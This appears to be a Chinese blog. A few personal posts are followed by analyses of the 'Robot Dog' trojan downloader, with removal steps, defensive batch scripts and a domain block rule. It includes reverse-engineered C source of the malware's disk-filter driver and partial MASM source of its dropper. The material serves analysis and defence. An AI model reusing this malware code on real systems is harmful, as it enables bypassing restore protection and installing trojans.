车里的音乐自己听到就行。
下车时带走你的包。
车里放本有意思的书,堵车时它比咒骂管用。
系安全带要成为习惯。

2009年4月5日星期日

废物利用的手机电池

逛街回来,晚饭前找出一些不用的手机电池,好多块啊,一直放在柜子里的各个角落,把一些改造一下,放到收音机里,估计充一次电,可以用几个月了。另外也可以放在自己制作的LED灯里面,充一次灯,怎么着也得用一周吧。

为什么会用这么长时间呢?因为我有一块2001年买的pda,当时一冲动把原装电池拆了,换了一块淘汰的手机电池,现在充一次电,基本可以用几个月,说实话,从春节前那次充电,到现在还有60%的电量,也不用计算到底可以用多长时间了。总之,很爽就是了

我设计的办公家具

晚上查资料,累的腰酸背痛。怎么没有那种理想的家具呢?

坐在书桌前,有个特点,就是不能改变姿势,基本上一直这样,呆上一段时间就累坏了。

今天陪老婆逛街时,心里一直在想这事,应该有这样一种家俱。

可以自由调节高度,笔记本电脑放在上面,使用时,人可以蹲着用,盘腿而坐用,跪着用,躺着用,站着用,这样多种姿势经常变一变,就不那么容易累了。

在笔记本上面画了若干草画,实现其实挺简单的,不会比现在的那种办公家俱贵多少,而且还可以躺在床上用,非常方便啊,最上面再安上一个前些天做的LED灯,轻便又省电,以后自己的办公室里,一定用这种家具,让每个人办公时比较自由,有更多自己的空间,并且也有更多的公共空间,多好啊。现在的办公家俱,做的真是太没有想像力。

2009年4月3日星期五

最强大最便宜的后备电源

http://www.it.com.cn/f/notebook/064/3/253215.htm
http://blog.chinaunix.net/u/29311/showart_243501.html

有意思的东东

虽然现在用不上,不过,可以尝试着把车载电源改造一下,用笔记本这么大的屏幕,作为GPS和音乐播放,常备工具一类的,总之,放在车里,会非常有用的。

机器狗病毒分析

报告名称:新版"机器狗"病毒详细分析资料(全部资料的一少部分)
报告类型:病毒原理逆向反汇编分析播报
编写作者:Coderui
编写日期:2008年01月15日
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
------------------------------------------------------------------------
对比"机器狗"一类新、老版本病毒的特征:

1:新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
2:新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
3:新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
4:新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
5:新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
6:新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
7:新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
8:新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

大概列举出来了上边的几点,经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。
------------------------------------------------------------------------
错误纠正:

在此要纠正两个技术性的问题,网络上流传的一些关于分析"机器狗"病毒(新、老版本)的部分文章中,有两处表达错误的地方。

第一处是:在那些分析文章中所提到"'机器狗'病毒会破坏'还原保护程序'系统,使其还原功能失效"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并没有破坏'还原保护程序'系统,也没有使其还原功能失效。只是安装了一个病毒自己的磁盘过滤驱动去操作真实的磁盘I/O端口,向真实的磁盘中执行修改覆盖"C:\windows\explorer.exe"目标文件(文件名是病毒作者定义的,不固定、会变。但肯定的是,真实磁盘中是存在该文件的。并且病毒运行后,一般只会修改覆盖一个真实磁盘中的系统文件,再不会去破坏其它真实磁盘中的文件)操作。虽然'机器狗'病毒运行后下载了很多其它恶意程序并安装运行,但重新启动计算机后,这些都会被'还原保护程序'系统还原掉的,只是唯一那个被修改覆盖的真实磁盘文件没有被还原。如果发现重新启动计算机后,系统中依然有一大堆病毒在运行。其实,这些都是系统重新启动后,由那个被修改覆盖后的系统程序全部重新下载回来并安装运行的恶意程序。也就是说,每次重新启动计算机,都要重新下载安装一次所有的其它恶意程序"。

第二处是:在那些分析文章中所提到"'机器狗'病毒会替换系统中的正常程序'conime.exe'、'ctfmon.exe'、'explorer.exe'
或'userinit.exe'"或"'机器狗'病毒会感染系统中的正常程序'conime.exe'、'ctfmon.exe'、
'explorer.exe'或'userinit.exe'"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并不是替换了系统中的那些正常文件,而是针对那些正常文件在硬盘中所存放的真实物理地址进行以覆盖的方式去写入相应的恶意数据。大家可以找来正常的系统文件'explorer.exe'、被病毒修改覆盖后的系统文件'explorer.exe'和病毒释放出来的恶意程序'tmp281.tmp'。对比它们内部数据代码后会发现,被病毒修改后的系统文件'explorer.exe'的前部分数据代码和"病毒释放出来的恶意程序'tmp281.tmp'文件的数据代码是完全相同的,而后边的数据代码依然是正常系统文件'explorer.exe'后边的数据代码。"。

简单的概念解释:
替换:把原目标程序的数据代码全部清除掉,用新程序的数据代码来代替以前的整个程序。这样,替换后的程序只有新程序的功能。
感染:在不破坏原目标程序数据代码的前提下,向原目标程序的数据代码中追加上新程序的数据代码。这样,感染后的程序既有原目标程序的功能,又有新程序的功能。
覆盖:从原目标程序数据代码的文件头0地址处开始,向后依次执行覆盖写入新程序的数据代码操作,我们这里只假设原目标程序文件远远大于新程序。这样,覆盖后的程序只执行新程序的功能,虽然原目标程序的数据代码还存在一部分,但由于没有被调用,所以不会执行。
------------------------------------------------------------------------
总结:
上边所指的"还原保护程序"为利用磁盘过滤驱动技术编写而成的系统还原保护程序,出名一点的软件有"冰点还原精灵"和"影子系统"等。也就是说,就算用户计算机安装了上边这样的"还原保护程序",只要是中了"机器狗"一类利用穿"还原保护程序"技术的病毒,就算您重新启动计算机了,但被修改的那个文件
"explorer.exe"也是依然不会被还原的,因为病毒的恶意代码已经覆盖进了这个真实的磁盘文件中。

目前的"机器狗"一类利用穿"还原保护程序"技术的病毒有一个致命的软肋,那就是他们所覆盖的真实系统文件在重新启动计算机后一定要自启动运行,不然就失去病毒存在的意义了。现今的"机器狗"病毒都只是能够穿透磁盘保护的,并穿透不了注册表(无法在注册表中保存添加或修改后的数据信息),这个就是它最大的缺陷。其实,注册表数据信息也是以文件的形式保存在磁盘中的,下一代"机器狗"病毒可能会实现穿透注册表的功能,等那个时候,可能就很难防范了。这还是不算什么的,下下一代的"机器狗"病毒可能会利用自己的磁盘过滤驱动去感染真实硬盘下的PE文件,相当的恐怖啊!!

一旦感染了该版本的"机器狗"病毒,它不仅仅可以穿透"还原保护程序",真实系统也一样会中毒。因为病毒修改覆盖了真实的系统文件"C:\windows
\explorer.exe"。所以每次重新启动计算机后,被修改覆盖的系统程序"C:\windows\explorer.exe"它都会在被感染计算机的后台连接网络下载骇客事先定义好的下载列表中的全部恶意程序并自动调用运行。那么如果中该病毒的用户比较多,几万台计算机同时启动,骇客的下载服务器会挂掉吗?呵呵~!!
------------------------------------------------------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

问提:1、这个最新的机器狗变种,是否与你12月19日发的病毒播报中的机器狗变种是同一个病毒?
回答:不是同一个病毒,只是工作原理十分的相似而已。经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。

问提:2、这个最新的机器狗变种是否功能更强大?强大在那儿?与以往机器狗病毒的不同之处在哪?
回答:应该是相对的强大了些。对比"机器狗"一类新、老版本病毒的部分特征如下:
(1):新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
(2):新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
(3):新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
(4):新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
(5):新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
(6):新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
(7):新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
(8):新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

问提:3、机器狗病毒对网吧的影响很大,对个人用户的影响有多少?
回答:个人用户的影响与网吧的影响是同样大的。因为不管计算机系统是否安装"还原保护系统"程序,都会同样下载非常多的(目前是下载27个恶意程序)网络游戏盗号木马等恶意程序进行安装运行,从而给被感染计算机用户带去一定的损失。如果"用户计算机硬件配置比较低"或者"存在所下载的多个恶意程序中出现相互不兼容现象"的话,会导致用户计算机系统崩溃掉无法启动运行。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

手动杀毒方法:

1:结束掉被病毒修改覆盖后的"C:\windows\explorer.exe"程序进程,删除该程序文件。
2:也许系统会自动还原回来一个正常的"explorer.exe"桌面程序,如果没有还原的话,我们可以手动把"C:\windows\system32\dllcache\"下的"explorer.exe"文件拷贝到"C:\windows\"下。
3:手动卸载掉病毒恶意驱动程序"phy.sys"文件。可以在注册表中找到病毒恶意驱动程序"phy.sys"的启动关联位置然后删除,接着再删除掉"C:
\windows\system32\DRIVERS\phy.sys"文件。 我实际试过N次这种方法,针对该病毒决定好使。
4:重新启动计算机后,一切就都会变为正常了。但是该新版的"机器狗"病毒会下载27个(不固定)恶意程序到被感染计算机中安装运行,这些病毒可以安装江民公司的KV2008去查杀,效果很不错

/*
标 题: 【原创】"机器狗"病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/

#include <ntddk.h> // various NT definitions

#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01,
METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;

//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_0E].OffsetLow);

INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?

//开中断
__asm sti
}
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;

// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h

//pSelfImage如何取?

while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

if (!MmIsAddressValid(pCurAddr))
return NULL;

if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}

(unsigned long)pSelfImage -= 0x400;//-1024K
}

return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int
id2, CHAR* pResDatas)
{
// 有空再补上:)

return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

CheckIdt();

pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;

g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short $+2

RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object

if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}

End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);

return STATUS_SUCCESS;
}

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

if (g_ResData)
{
ExFreePool(g_ResData);
}

if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;

PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}

switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject,
&DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}

ObDereferenceObject(DRO_FileObject);

RtlFreeUnicodeString(&DRO_DeviceName);

break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}

break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;

// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}

break;

default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

return ntStatus;
}

机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe
(其中"/IM"参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\userinit.exe" /v debugger /t reg_sz /d
debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32
文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows
2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一
@echo off
:::直接复制系统system32下的无毒userinit.exe为FUCKIGM.exe
cd /d %SystemRoot%\system32
copy /y userinit.exe FUCKIGM.exe >nul
:::创建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注册表操作
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul
:::删掉自身(提倡环保)
del /f /q %0
当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了.
网上流传的另一种新的变种的防止方法 :
开始菜单运行.输入CMD
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1...\
可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。
针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开"网页监控"、"邮件监控"功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码

代码如下:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0

.code

Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0

;**********************************************************************************************
;退出服务,并删除文件
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax

push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService

push hSCObject ; hService
call DeleteService

push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle

OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
